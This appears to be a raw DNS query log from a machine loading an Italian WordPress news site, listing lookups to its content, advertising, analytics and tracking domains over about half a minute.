Mar 28, 2024 09:50:59.582192898 CET	192.168.2.4	1.1.1.1	0x4509	Standard query (0)	0.gravatar.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.627377033 CET	192.168.2.4	1.1.1.1	0x2602	Standard query (0)	s0.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.627588034 CET	192.168.2.4	1.1.1.1	0x258a	Standard query (0)	s0.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:50:59.633090973 CET	192.168.2.4	1.1.1.1	0x4f19	Standard query (0)	widgets.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.633271933 CET	192.168.2.4	1.1.1.1	0xd8bb	Standard query (0)	widgets.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:01.587152958 CET	192.168.2.4	1.1.1.1	0xeaab	Standard query (0)	app.digitrend.it	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:01.587510109 CET	192.168.2.4	1.1.1.1	0xe933	Standard query (0)	app.digitrend.it	65	IN (0x0001)	false
Mar 28, 2024 09:51:01.591607094 CET	192.168.2.4	1.1.1.1	0x1298	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:01.593067884 CET	192.168.2.4	1.1.1.1	0xbfdd	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:01.682051897 CET	192.168.2.4	1.1.1.1	0x418a	Standard query (0)	bsnews.it	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:01.682374954 CET	192.168.2.4	1.1.1.1	0x8287	Standard query (0)	bsnews.it	65	IN (0x0001)	false
Mar 28, 2024 09:51:02.379483938 CET	192.168.2.4	1.1.1.1	0x621c	Standard query (0)	cdn.onesignal.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:02.379867077 CET	192.168.2.4	1.1.1.1	0xa212	Standard query (0)	cdn.onesignal.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:02.951646090 CET	192.168.2.4	1.1.1.1	0x6376	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:02.952210903 CET	192.168.2.4	1.1.1.1	0xd4a7	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:04.133611917 CET	192.168.2.4	1.1.1.1	0x1511	Standard query (0)	widgets.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:04.133817911 CET	192.168.2.4	1.1.1.1	0xdd64	Standard query (0)	widgets.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:05.205219984 CET	192.168.2.4	1.1.1.1	0xb08c	Standard query (0)	panel.statisticsong.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.205656052 CET	192.168.2.4	1.1.1.1	0x80d5	Standard query (0)	panel.statisticsong.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:05.247514963 CET	192.168.2.4	1.1.1.1	0x2993	Standard query (0)	static.sunmedia.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.247879982 CET	192.168.2.4	1.1.1.1	0xa775	Standard query (0)	static.sunmedia.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:05.613898993 CET	192.168.2.4	1.1.1.1	0x1020	Standard query (0)	panel.statisticsong.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:07.828598976 CET	192.168.2.4	1.1.1.1	0x9d40	Standard query (0)	pixel.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:07.828919888 CET	192.168.2.4	1.1.1.1	0xdf88	Standard query (0)	pixel.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:07.884767056 CET	192.168.2.4	1.1.1.1	0xb8ef	Standard query (0)	s0.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:07.885477066 CET	192.168.2.4	1.1.1.1	0xf193	Standard query (0)	s0.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:07.960649967 CET	192.168.2.4	1.1.1.1	0x8de1	Standard query (0)	secure.gravatar.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:07.960829973 CET	192.168.2.4	1.1.1.1	0x75ae	Standard query (0)	secure.gravatar.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:08.092935085 CET	192.168.2.4	1.1.1.1	0xbdc9	Standard query (0)	i0.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.093276978 CET	192.168.2.4	1.1.1.1	0xc7ac	Standard query (0)	i0.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:08.094860077 CET	192.168.2.4	1.1.1.1	0x39bd	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.095254898 CET	192.168.2.4	1.1.1.1	0x23fb	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:08.785037041 CET	192.168.2.4	1.1.1.1	0xbcc1	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.785456896 CET	192.168.2.4	1.1.1.1	0x6318	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:08.798127890 CET	192.168.2.4	1.1.1.1	0x6d6f	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.798650026 CET	192.168.2.4	1.1.1.1	0xb5d8	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:09.178900003 CET	192.168.2.4	1.1.1.1	0x35eb	Standard query (0)	onesignal.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:09.179369926 CET	192.168.2.4	1.1.1.1	0x7eb4	Standard query (0)	onesignal.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:09.413386106 CET	192.168.2.4	1.1.1.1	0x5c7d	Standard query (0)	s.w.org	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:09.413850069 CET	192.168.2.4	1.1.1.1	0xcdc6	Standard query (0)	s.w.org	65	IN (0x0001)	false
Mar 28, 2024 09:51:10.618002892 CET	192.168.2.4	1.1.1.1	0x5231	Standard query (0)	public-api.wordpress.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:10.618565083 CET	192.168.2.4	1.1.1.1	0x145	Standard query (0)	public-api.wordpress.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:10.861335039 CET	192.168.2.4	1.1.1.1	0x7b52	Standard query (0)	audience.codesour.tech	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:10.861588001 CET	192.168.2.4	1.1.1.1	0x82ee	Standard query (0)	audience.codesour.tech	65	IN (0x0001)	false
Mar 28, 2024 09:51:10.879319906 CET	192.168.2.4	1.1.1.1	0x8d50	Standard query (0)	bsnews.os.tc	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:10.879597902 CET	192.168.2.4	1.1.1.1	0x1ce9	Standard query (0)	bsnews.os.tc	65	IN (0x0001)	false
Mar 28, 2024 09:51:11.130645990 CET	192.168.2.4	1.1.1.1	0x6b7f	Standard query (0)	services.sunmedia.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.131011963 CET	192.168.2.4	1.1.1.1	0xa856	Standard query (0)	services.sunmedia.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:11.223640919 CET	192.168.2.4	1.1.1.1	0x90d	Standard query (0)	clickiocmp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.224431038 CET	192.168.2.4	1.1.1.1	0x6f6f	Standard query (0)	clickiocmp.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:11.799487114 CET	192.168.2.4	1.1.1.1	0xc3ab	Standard query (0)	pixel.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.799865961 CET	192.168.2.4	1.1.1.1	0xb3e3	Standard query (0)	pixel.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:11.835016012 CET	192.168.2.4	1.1.1.1	0x6785	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.835176945 CET	192.168.2.4	1.1.1.1	0xd1b8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:11.979527950 CET	192.168.2.4	1.1.1.1	0xc0cf	Standard query (0)	s.richaudience.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.983897924 CET	192.168.2.4	1.1.1.1	0x9ae6	Standard query (0)	s.richaudience.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:11.987782955 CET	192.168.2.4	1.1.1.1	0xe568	Standard query (0)	cdn.onesignal.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.988110065 CET	192.168.2.4	1.1.1.1	0xcdbc	Standard query (0)	cdn.onesignal.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:11.989669085 CET	192.168.2.4	1.1.1.1	0x9ee6	Standard query (0)	track.sunmedia.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.989949942 CET	192.168.2.4	1.1.1.1	0x1f72	Standard query (0)	track.sunmedia.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:12.907725096 CET	192.168.2.4	1.1.1.1	0x792	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.908093929 CET	192.168.2.4	1.1.1.1	0x61c6	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:13.132049084 CET	192.168.2.4	1.1.1.1	0x9fe3	Standard query (0)	sync.richaudience.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.132304907 CET	192.168.2.4	1.1.1.1	0x639c	Standard query (0)	sync.richaudience.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:13.633765936 CET	192.168.2.4	1.1.1.1	0x8639	Standard query (0)	s.w.org	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.633924007 CET	192.168.2.4	1.1.1.1	0xcd77	Standard query (0)	s.w.org	65	IN (0x0001)	false
Mar 28, 2024 09:51:13.642541885 CET	192.168.2.4	1.1.1.1	0x76a8	Standard query (0)	boot.pbstck.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.642947912 CET	192.168.2.4	1.1.1.1	0xa789	Standard query (0)	boot.pbstck.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:13.644207001 CET	192.168.2.4	1.1.1.1	0x7373	Standard query (0)	launchpad-wrapper.privacymanager.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.644766092 CET	192.168.2.4	1.1.1.1	0x8c20	Standard query (0)	launchpad-wrapper.privacymanager.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:13.645694017 CET	192.168.2.4	1.1.1.1	0x19f3	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.646230936 CET	192.168.2.4	1.1.1.1	0xf82f	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:13.647701025 CET	192.168.2.4	1.1.1.1	0x12f4	Standard query (0)	c.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.648257017 CET	192.168.2.4	1.1.1.1	0x79b6	Standard query (0)	c.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:14.821352005 CET	192.168.2.4	1.1.1.1	0x5ede	Standard query (0)	sync.richaudience.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:14.821676970 CET	192.168.2.4	1.1.1.1	0x5712	Standard query (0)	sync.richaudience.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:17.752079010 CET	192.168.2.4	1.1.1.1	0xeeb1	Standard query (0)	js.omg.neodatagroup.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:17.752221107 CET	192.168.2.4	1.1.1.1	0xbdd5	Standard query (0)	js.omg.neodatagroup.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.005208969 CET	192.168.2.4	1.1.1.1	0xb28a	Standard query (0)	cstatic.weborama.fr	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.005414009 CET	192.168.2.4	1.1.1.1	0x3	Standard query (0)	cstatic.weborama.fr	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.023782969 CET	192.168.2.4	1.1.1.1	0x7d06	Standard query (0)	config.aps.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.024029970 CET	192.168.2.4	1.1.1.1	0xad3c	Standard query (0)	config.aps.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.032160997 CET	192.168.2.4	1.1.1.1	0x4d2c	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.032305002 CET	192.168.2.4	1.1.1.1	0x70c2	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.033173084 CET	192.168.2.4	1.1.1.1	0x14ec	Standard query (0)	cdn.pbstck.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.033310890 CET	192.168.2.4	1.1.1.1	0x2bb	Standard query (0)	cdn.pbstck.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.035120010 CET	192.168.2.4	1.1.1.1	0x8db7	Standard query (0)	spl.zeotap.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.035301924 CET	192.168.2.4	1.1.1.1	0x99e4	Standard query (0)	spl.zeotap.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.085328102 CET	192.168.2.4	1.1.1.1	0xe79c	Standard query (0)	js.tncid.app	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.085748911 CET	192.168.2.4	1.1.1.1	0x80e6	Standard query (0)	js.tncid.app	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.126795053 CET	192.168.2.4	1.1.1.1	0x1b56	Standard query (0)	launchpad.privacymanager.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.127370119 CET	192.168.2.4	1.1.1.1	0x147b	Standard query (0)	launchpad.privacymanager.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.348824024 CET	192.168.2.4	1.1.1.1	0x41eb	Standard query (0)	a.teads.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.349056005 CET	192.168.2.4	1.1.1.1	0x2e71	Standard query (0)	a.teads.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.352740049 CET	192.168.2.4	1.1.1.1	0xea64	Standard query (0)	adx.4strokemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.352941036 CET	192.168.2.4	1.1.1.1	0x852d	Standard query (0)	adx.4strokemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.537535906 CET	192.168.2.4	1.1.1.1	0x4254	Standard query (0)	pub.admanmedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.537754059 CET	192.168.2.4	1.1.1.1	0xd688	Standard query (0)	pub.admanmedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.540425062 CET	192.168.2.4	1.1.1.1	0xae39	Standard query (0)	adx.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.540682077 CET	192.168.2.4	1.1.1.1	0x9956	Standard query (0)	adx.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.545418024 CET	192.168.2.4	1.1.1.1	0x53f5	Standard query (0)	prebid.a-mo.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.545604944 CET	192.168.2.4	1.1.1.1	0x99f7	Standard query (0)	prebid.a-mo.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.549174070 CET	192.168.2.4	1.1.1.1	0xc263	Standard query (0)	shb.richaudience.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.549329042 CET	192.168.2.4	1.1.1.1	0x406d	Standard query (0)	shb.richaudience.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.554188013 CET	192.168.2.4	1.1.1.1	0x7c8a	Standard query (0)	ad.360yield.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.554410934 CET	192.168.2.4	1.1.1.1	0x356f	Standard query (0)	ad.360yield.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.558408976 CET	192.168.2.4	1.1.1.1	0xf4b4	Standard query (0)	hb-api.omnitagjs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.558566093 CET	192.168.2.4	1.1.1.1	0x1c33	Standard query (0)	hb-api.omnitagjs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.563276052 CET	192.168.2.4	1.1.1.1	0x879a	Standard query (0)	onetag-sys.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.563424110 CET	192.168.2.4	1.1.1.1	0x7be5	Standard query (0)	onetag-sys.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.567022085 CET	192.168.2.4	1.1.1.1	0xecb3	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.567151070 CET	192.168.2.4	1.1.1.1	0x6ec6	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.569161892 CET	192.168.2.4	1.1.1.1	0x351	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.569339037 CET	192.168.2.4	1.1.1.1	0x82ab	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.577436924 CET	192.168.2.4	1.1.1.1	0x2624	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.577594042 CET	192.168.2.4	1.1.1.1	0x512c	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.580981970 CET	192.168.2.4	1.1.1.1	0xe750	Standard query (0)	prebid-eu.creativecdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.581141949 CET	192.168.2.4	1.1.1.1	0x9594	Standard query (0)	prebid-eu.creativecdn.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.585347891 CET	192.168.2.4	1.1.1.1	0xe046	Standard query (0)	prebid.smilewanted.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.586003065 CET	192.168.2.4	1.1.1.1	0x4052	Standard query (0)	prebid.smilewanted.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.599883080 CET	192.168.2.4	1.1.1.1	0xe6f3	Standard query (0)	btlr.sharethrough.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.600245953 CET	192.168.2.4	1.1.1.1	0x7675	Standard query (0)	btlr.sharethrough.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.604865074 CET	192.168.2.4	1.1.1.1	0x28a7	Standard query (0)	prg.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.605056047 CET	192.168.2.4	1.1.1.1	0x9db2	Standard query (0)	prg.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:18.664477110 CET	192.168.2.4	1.1.1.1	0x36a8	Standard query (0)	hbopenbid.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.664647102 CET	192.168.2.4	1.1.1.1	0x2c9f	Standard query (0)	hbopenbid.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:19.602552891 CET	192.168.2.4	1.1.1.1	0xfc0	Standard query (0)	topics.authorizedvault.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.603130102 CET	192.168.2.4	1.1.1.1	0xcee2	Standard query (0)	topics.authorizedvault.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:19.603413105 CET	192.168.2.4	1.1.1.1	0xf40b	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.603759050 CET	192.168.2.4	1.1.1.1	0xb1b8	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:19.619874954 CET	192.168.2.4	1.1.1.1	0x84d6	Standard query (0)	fastlane.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.628264904 CET	192.168.2.4	1.1.1.1	0x204e	Standard query (0)	fastlane.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:19.765743971 CET	192.168.2.4	1.1.1.1	0xba56	Standard query (0)	t.seedtag.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.766159058 CET	192.168.2.4	1.1.1.1	0x1a9f	Standard query (0)	t.seedtag.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:19.930566072 CET	192.168.2.4	1.1.1.1	0xa635	Standard query (0)	prebid.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.931044102 CET	192.168.2.4	1.1.1.1	0xa848	Standard query (0)	prebid.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:21.681158066 CET	192.168.2.4	1.1.1.1	0xc1bb	Standard query (0)	ads.viralize.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.681559086 CET	192.168.2.4	1.1.1.1	0x360e	Standard query (0)	ads.viralize.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:21.785784006 CET	192.168.2.4	1.1.1.1	0x8472	Standard query (0)	cpu32-zs9v8.ads.tremorhub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.786204100 CET	192.168.2.4	1.1.1.1	0x1a25	Standard query (0)	cpu32-zs9v8.ads.tremorhub.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:21.972749949 CET	192.168.2.4	1.1.1.1	0xab31	Standard query (0)	cdn.digitrend.it	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.973738909 CET	192.168.2.4	1.1.1.1	0x7be6	Standard query (0)	cdn.digitrend.it	65	IN (0x0001)	false
Mar 28, 2024 09:51:21.974993944 CET	192.168.2.4	1.1.1.1	0x6153	Standard query (0)	widgets.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.975119114 CET	192.168.2.4	1.1.1.1	0x2cb3	Standard query (0)	widgets.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.133687973 CET	192.168.2.4	1.1.1.1	0xd65c	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.236861944 CET	192.168.2.4	1.1.1.1	0x4073	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.237307072 CET	192.168.2.4	1.1.1.1	0x32cb	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.237817049 CET	192.168.2.4	1.1.1.1	0x6e3d	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.238215923 CET	192.168.2.4	1.1.1.1	0xf80a	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.252763987 CET	192.168.2.4	1.1.1.1	0x85b0	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.254245996 CET	192.168.2.4	1.1.1.1	0xcc54	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.254852057 CET	192.168.2.4	1.1.1.1	0x534c	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.272685051 CET	192.168.2.4	1.1.1.1	0x640b	Standard query (0)	www.digistream.it	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.272910118 CET	192.168.2.4	1.1.1.1	0x3477	Standard query (0)	www.digistream.it	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.277101994 CET	192.168.2.4	1.1.1.1	0x8142	Standard query (0)	secure.cdn.fastclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.277494907 CET	192.168.2.4	1.1.1.1	0xd056	Standard query (0)	secure.cdn.fastclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.278017044 CET	192.168.2.4	1.1.1.1	0x5fa	Standard query (0)	geo.privacymanager.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.278271914 CET	192.168.2.4	1.1.1.1	0x19b8	Standard query (0)	geo.privacymanager.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.278511047 CET	192.168.2.4	1.1.1.1	0xd31c	Standard query (0)	cdn.id5-sync.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.278879881 CET	192.168.2.4	1.1.1.1	0xf110	Standard query (0)	cdn.id5-sync.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.279114962 CET	192.168.2.4	1.1.1.1	0x3984	Standard query (0)	cstatic.weborama.fr	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.279393911 CET	192.168.2.4	1.1.1.1	0x674f	Standard query (0)	cstatic.weborama.fr	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.279845953 CET	192.168.2.4	1.1.1.1	0xe9e3	Standard query (0)	at.teads.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.280085087 CET	192.168.2.4	1.1.1.1	0xf1cb	Standard query (0)	at.teads.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.523791075 CET	192.168.2.4	1.1.1.1	0x1a27	Standard query (0)	trz.neodatagroup.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.523932934 CET	192.168.2.4	1.1.1.1	0xf569	Standard query (0)	trz.neodatagroup.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.524746895 CET	192.168.2.4	1.1.1.1	0xcc1e	Standard query (0)	pixel.mathtag.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.525237083 CET	192.168.2.4	1.1.1.1	0xabf4	Standard query (0)	pixel.mathtag.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:22.728687048 CET	192.168.2.4	1.1.1.1	0xf0a0	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.729130983 CET	192.168.2.4	1.1.1.1	0xcd3d	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.772296906 CET	192.168.2.4	1.1.1.1	0xc71a	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.772980928 CET	192.168.2.4	1.1.1.1	0xbdb7	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.775549889 CET	192.168.2.4	1.1.1.1	0x866	Standard query (0)	cdn.ravenjs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.775751114 CET	192.168.2.4	1.1.1.1	0xb2f8	Standard query (0)	cdn.ravenjs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.784210920 CET	192.168.2.4	1.1.1.1	0x9e0d	Standard query (0)	polyfill.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.784604073 CET	192.168.2.4	1.1.1.1	0x33d7	Standard query (0)	polyfill.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.787650108 CET	192.168.2.4	1.1.1.1	0xc88b	Standard query (0)	monetize-static.viralize.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.788003922 CET	192.168.2.4	1.1.1.1	0x1d93	Standard query (0)	monetize-static.viralize.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.791263103 CET	192.168.2.4	1.1.1.1	0x9fde	Standard query (0)	csync-global.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.791560888 CET	192.168.2.4	1.1.1.1	0x9ae5	Standard query (0)	csync-global.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.836091042 CET	192.168.2.4	1.1.1.1	0x6559	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.836407900 CET	192.168.2.4	1.1.1.1	0x26db	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.986383915 CET	192.168.2.4	1.1.1.1	0xc45b	Standard query (0)	cdn.codesour.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.986660957 CET	192.168.2.4	1.1.1.1	0x152c	Standard query (0)	cdn.codesour.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.987138033 CET	192.168.2.4	1.1.1.1	0x16aa	Standard query (0)	services.sunmedia.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.987340927 CET	192.168.2.4	1.1.1.1	0x365d	Standard query (0)	services.sunmedia.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.987776995 CET	192.168.2.4	1.1.1.1	0xfc0a	Standard query (0)	audience.codesour.tech	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.987905025 CET	192.168.2.4	1.1.1.1	0x90a9	Standard query (0)	audience.codesour.tech	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.988279104 CET	192.168.2.4	1.1.1.1	0x76c9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
